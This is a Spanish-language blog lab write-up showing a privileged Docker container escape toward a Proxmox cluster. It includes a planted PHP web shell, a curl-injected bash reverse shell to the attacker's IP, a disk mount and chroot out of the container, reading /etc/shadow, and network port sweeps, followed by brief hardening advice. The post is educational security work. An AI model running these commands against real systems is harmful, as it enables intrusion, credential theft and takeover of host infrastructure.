Laboratorio de Pentesting: Comprometiendo la infraestructura Proxmox desde un Contenedor Docker

Raul Unzue Pulido 15 horas hace Ciberseguridad, Kubernetes, Linux, Proxmox Deja un comentario 158 Vistas

Laboratorio de Pentesting: Comprometiendo la infraestructura Proxmox desde un Contenedor Docker

Aunque hemos hablado muchas veces de hardening de diferentes plataformas, y su importancia, hoy nos vamos a ensuciar las manos con un escenario que cualquier administrador de sistemas debería temer si no se hacen bien las cosas. Os pongo en contexto…

Imagina que tienes una web por ahí perdida en un contenedor Docker, quizás una prueba de desarrollo. Todo parece seguro de primeras, está “aislado” por múltiples capas de virtualización y redes.

Muchos administradores confían ciegamente en el aislamiento del contenedor, pero configurar un Docker como “–privileged” es, en la práctica, dejar la puerta del Datacenter abierta y sin vigilancia. Vamos a ver cómo esta “comodidad” de configuración rompe por completo la jerarquía de seguridad, permitiendo un escape limpio hacia el hipervisor.

¿Qué vamos a utilizar para el escalado de privilegios?

ESCENARIO:

MAQUINA_ATAQUE<->WEB EXPUESTA<->DOCKER<-> MAQUINA VIRTUAL (SERVIDOR DEBIAN) <-> CLUSTER PROXMOX
(192.168.2.250)    Port 80   (172.17.0.2) (172.17.0.1 / 192.168.2.246)           (192.168.2.0/24)

1 2	MAQUINA_ATAQUE<->WEB EXPUESTA<->DOCKER<-> MAQUINA VIRTUAL (SERVIDOR DEBIAN) <-> CLUSTER PROXMOX (192.168.2.250) Port 80 (172.17.0.2) (172.17.0.1 / 192.168.2.246) (192.168.2.0/24)

El Gancho (La Víctima): Un contenedor tutum/apache-php. Es un clásico, pero lo hemos “tuneado” para que sea vulnerable a morir, con un script de una sola línea que nos permite ejecutar comandos a distancia (RCE):
- El RCE (Remote Code Execution) es, básicamente, el “mando a distancia” de los hackers. Imagina que dejas un formulario en tu web para que la gente te escriba sugerencias, pero te olvidas de ponerle filtros. Entonces llega un listo y, en vez de poner “vuestra web es genial”, escribe una orden directa para el servidor, como “borra toda la base de datos” o “conéctate a mi ordenador y dame el control”. Como el servidor es un mandado y no sabe distinguir un comentario de una orden, la ejecuta sin rechistar. Es el agujero de seguridad más peligroso que hay porque le regalas las llaves de tu sistema a un desconocido sin que tenga que saberse ni una sola contraseña.
La Llave Maestra (El Error): Vamos a lanzar un Docker con el modo Privileged. Es como darle las llaves de tu casa al vecino y decirle “pero no entres, ¿eh?”. Spoiler, vamos a entrar.
La Base de Operaciones: Un Ubuntu LXC que hará de máquina atacante. Está en la misma red, pero podría estar en otra si hay acceso. Desde aquí lanzaremos nuestro netcat para recibir la conexión y empezaremos a “escalar” como si no hubiera un mañana.
El Salto (Escape): Usaremos el comando chroot. Con esto vamos a engañar al sistema para salirnos del contenedor y aterrizar directamente en el disco duro de la máquina real (Debian).
El Premio Gordo (Proxmox): Una red plana (sin VLANs). Esto es lo que nos va a permitir que, una vez hayamos escapado del contenedor, podamos oler y tocar el puerto 8006 de nuestro servidor Proxmox.

PASO 1: Generar Docker vulnerable

Lo primero de todo vamos a crear nuestro laboratorio totalmente vulnerable. Usaré un servidor DEBIAN con Docker ya instalado:

Para generar el contenedor vulnerable usaremos los siguientes comandos.

Lanzar el contenedor (Asegúrate de que no haya errores aquí)

docker run -d --name victima --privileged -v /dev:/dev -p 80:80 tutum/apache-php

1

docker run -d --name victima --privileged -v /dev:/dev -p 80:80 tutum/apache-php
Crear el archivo vulnerable (RCE)

docker exec -it victima /bin/bash -c 'echo "<?php system(\$_GET[\"cmd\"]); ?>" > /var/www/html/shell.php'

1

docker exec -it victima /bin/bash -c 'echo "<?php system(\$_GET[\"cmd\"]); ?>" > /var/www/html/shell.php'
Verificar que el archivo existe y el servidor responde internamente

docker exec -it victima curl -s http://localhost/shell.php?cmd=id

1

docker exec -it victima curl -s http://localhost/shell.php?cmd=id

Comprueba en la máquina virtual Debian que actúa de servidor que está escuchando el puerto que queremos:

ss -tlnp | grep :80

1	ss -tlnp \| grep :80

Si estáis en Windows, podéis usar el siguiente comando:

Test-NetConnection -ComputerName 192.168.2.246 -Port 80

1	Test-NetConnection -ComputerName 192.168.2.246 -Port 80

Y por terminar, podéis validarlo directamente con un navegador a la IP del servidor:

PASO 2: Descubrimiento y Deducción de Vulnerabilidad Web

Aunque hemos preparado el escenario, lo lógico es desconocer qué servicios tiene expuesto una máquina y hacer un escaneo para encontrar lo que nos interesa.

Para ello podéis usar herramientas como NMAP. En Windows es totalmente visual:

Vía comando desde Linux, lo haríamos de la siguiente forma:

nmap -Pn -sV -p 22,80,443,2375,8006 192.168.2.246

1	nmap -Pn -sV -p 22,80,443,2375,8006 192.168.2.246

¿Qué estamos haciendo exactamente?

-Pn : Le decimos a nmap que no pierda tiempo haciendo un “ping” previo. Muchos firewalls bloquean el ping, pero los puertos siguen ahí. Con esto forzamos el escaneo.
-sV : (Service Version) No solo nos dice si el puerto está abierto, sino que intenta averiguar qué versión de software corre ahí (ej. “Apache 2.4.52” o “OpenSSH 8.9”).
-p 22,80,443,2375,8006 : Filtramos por los sospechosos habituales:
- 22: SSH (Control del host).
- 80/443: Web (Donde vive nuestro RCE).
- 2375: API de Docker (Es la puerta trasera perfecta, si está abierta y sin cifrar, nos permite enviar órdenes al host para levantar un nuevo contenedor que monte el disco real de la máquina, saltándonos cualquier aislamiento).
- 8006: Proxmox (Nuestro objetivo final).

PASO 3: Explotación y Control del Contenedor

Abrimos varios terminales en nuestra máquina que va a realizar el ataque.

En una de las terminales nos mantenemos a la escucha con el siguiente comando:

nc -lvnp 4444

1	nc -lvnp 4444

En otra ventana, lanzamos el vector de ataque con curl. Normalmente la IP-DEBIAN podría ser un registro DNS de la página web:

curl -G "http://IP-DEBIAN/shell.php" --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/IP-MAQUINA-ATACANTE/4444 0>&1'"

1	curl -G "http://IP-DEBIAN/shell.php" --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/IP-MAQUINA-ATACANTE/4444 0>&1'"

En la terminal que se mantiene a la escucha veremos que se ha recibido la conexión y que estamos ya dentro del contenedor Docker:

Ahora revisamos qué permisos tenemos:

find / -perm -4000 -type f 2>/dev/null

1	find / -perm -4000 -type f 2>/dev/null

Si miramos con atención la lista que nos devuelve vemos que aparece /bin/mount tiene el bit SUID activo (permiso 4000). Esto significa que el ejecutable mount corre con privilegios de root incluso si lo lanza www-data. Como el contenedor es –privileged, el kernel te va a permitir montar dispositivos del host.

Revisamos también el nivel de aislamiento con el comando:

lsblk

lsblk

Vemos los dispositivos del bloque del host (como /dev/sda1). Esto es una anomalía de seguridad grave. Un contenedor no debería tener una visibilidad del hardware.

PASO 4: Control de Host Docker (Máquina Virtual Debian)

Como ya tenemos una perspectiva de como lanzar el ataque, ahora vamos a lanzar una escalada de privilegios local (LPE). Buscamos controlar una shell interactiva con la que poder trabajar, montando los recursos del host que contiene el contenedor docker del que ya tenemos el control.

Escalamos los permisos para ser root. Lo hacemos en la terminal que permanecía a la escucha. Lanzamos estos dos comandos:

python3 -c 'import pty; pty.spawn("/bin/bash")'
sudo -i

1 2	python3 -c 'import pty; pty.spawn("/bin/bash")' sudo -i

Aprovechamos para montar el disco duro de la máquina virtual en el contenedor.

mkdir -p /tmp/host_root && mount /dev/sda1 /tmp/host_root && chroot /tmp/host_root /bin/bash

1	mkdir -p /tmp/host_root && mount /dev/sda1 /tmp/host_root && chroot /tmp/host_root /bin/bash

Con chroot estamos en el sistema de archivos del host y no del contenedor.

PASO 5: Verificación del Escalado al Host

Ahora podemos hacer una verificación para asegurarnos que estamos ya en la máquina virtual Debian y no en el contenedor.

Por ejemplo, listamos los “usuarios reales”. En el contenedor esto suele dar error o estar vacío, aquí verás los hashes de las contraseñas de la máquina virtual Debian en la que corre el contenedor:

cat /etc/shadow

1	cat /etc/shadow

Podemos revisar el nombre real del host en que estamos:

cat /etc/hostname

1	cat /etc/hostname

El contenedor nos estaba mostrando:

Ver los archivos de root de la máquina virtual:

ls -la /root

1	ls -la /root

Que podéis verificar desde vuestra consola (acordaros que esto es un laboratorio):

PASO 6: Escalado a Hypervisor Proxmox

Ya tenemos el control del contenedor Docker y de la máquina virtual Debian, ahora nos queda escalar a Proxmox.

El problema es, que no sabemos la red en la que está el contenedor o la máquina virtual. Y menos Proxmox. Así que vamos a hacer una pequeña investigación.

Vemos las rutas del contenedor para averiguar cual es el gateway, que debería ser el host que corre los contenedores, en este caso la máquina virtual Debian:

ip route show

1	ip route show

Se puede deducir que la IP de la máquina virtual en la red del contenedor es la 172.17.0.1. También podemos usar el siguiente comando:

ip neighbor

1	ip neighbor

Como seguimos controlando la máquina virtual vamos a ver qué nos dice el comando resolv.conf

cat /etc/resolv.conf

1	cat /etc/resolv.conf

Vemos que la red puede gestionar en el rango 192.168.2.x (DNS-192.168.2.69), así que vamos a hacer un escaneo de servidores proxmox en la red, con el siguiente comando:

for i in {1..254}; do timeout 0.1 bash -c "echo > /dev/tcp/192.168.2.$i/8006" 2>/dev/null && echo "¡PROXMOX DETECTADO EN 192.168.2.$i!"; done

1	for i in {1..254}; do timeout 0.1 bash -c "echo > /dev/tcp/192.168.2.$i/8006" 2>/dev/null && echo "¡PROXMOX DETECTADO EN 192.168.2.$i!"; done

Lo que ha detectado varios servidores en la red del laboratorio:

Teniendo el listado de Proxmox, ahora deberíamos escanear vulnerabilidades y buscar versiones para saber qué buscar.

Escaneo de puertos comunes en Proxmox:

nc -zv -w 1 192.168.2.178 8000-8100 2>&1 | grep succeeded

1	nc -zv -w 1 192.168.2.178 8000-8100 2>&1 \| grep succeeded

Escaneo de puertos específicos:

for port in 22 111 3128 8006 5900; do nc -zv -w 1 192.168.2.178 $port 2>&1 | grep succeeded; done

1	for port in 22 111 3128 8006 5900; do nc -zv -w 1 192.168.2.178 $port 2>&1 \| grep succeeded; done

Para versiones:

echo "" | nc -v -n -w 2 IP-PROXMOX 22

1	echo "" \| nc -v -n -w 2 IP-PROXMOX 22

La verdad, a partir de aquí habría que encontrar vulnerabilidad y trabajar con los usuarios que hemos extraído de la máquina virtual por si se reutilizan usuarios/contraseñas para gestionar proxmox.

¿Cómo corregimos esto (Hardening Infraestructura)?

Docker User Namespaces: Se debe configurar Docker para que el root del contenedor no sea el root del host (userns-remap).
Segmentación de Red: Incluso si el atacante escala a la red de la máquina virtual, Proxmox debe estar en una subred distinta (ej. 10.0.0.1) que no tenga ruta de retorno hacia la red 192.168.2.0.

Como hemos podido demostrar, una mala configuración o un descuido pone en peligro toda nuestra infraestructura.

Si os parece interesante esta temática dejarme algún comentario para aumentarla.

¿Te ha gustado la entrada SÍGUENOS EN TWITTER O INVITANOS A UN CAFE?

Follow @@elblogdenegu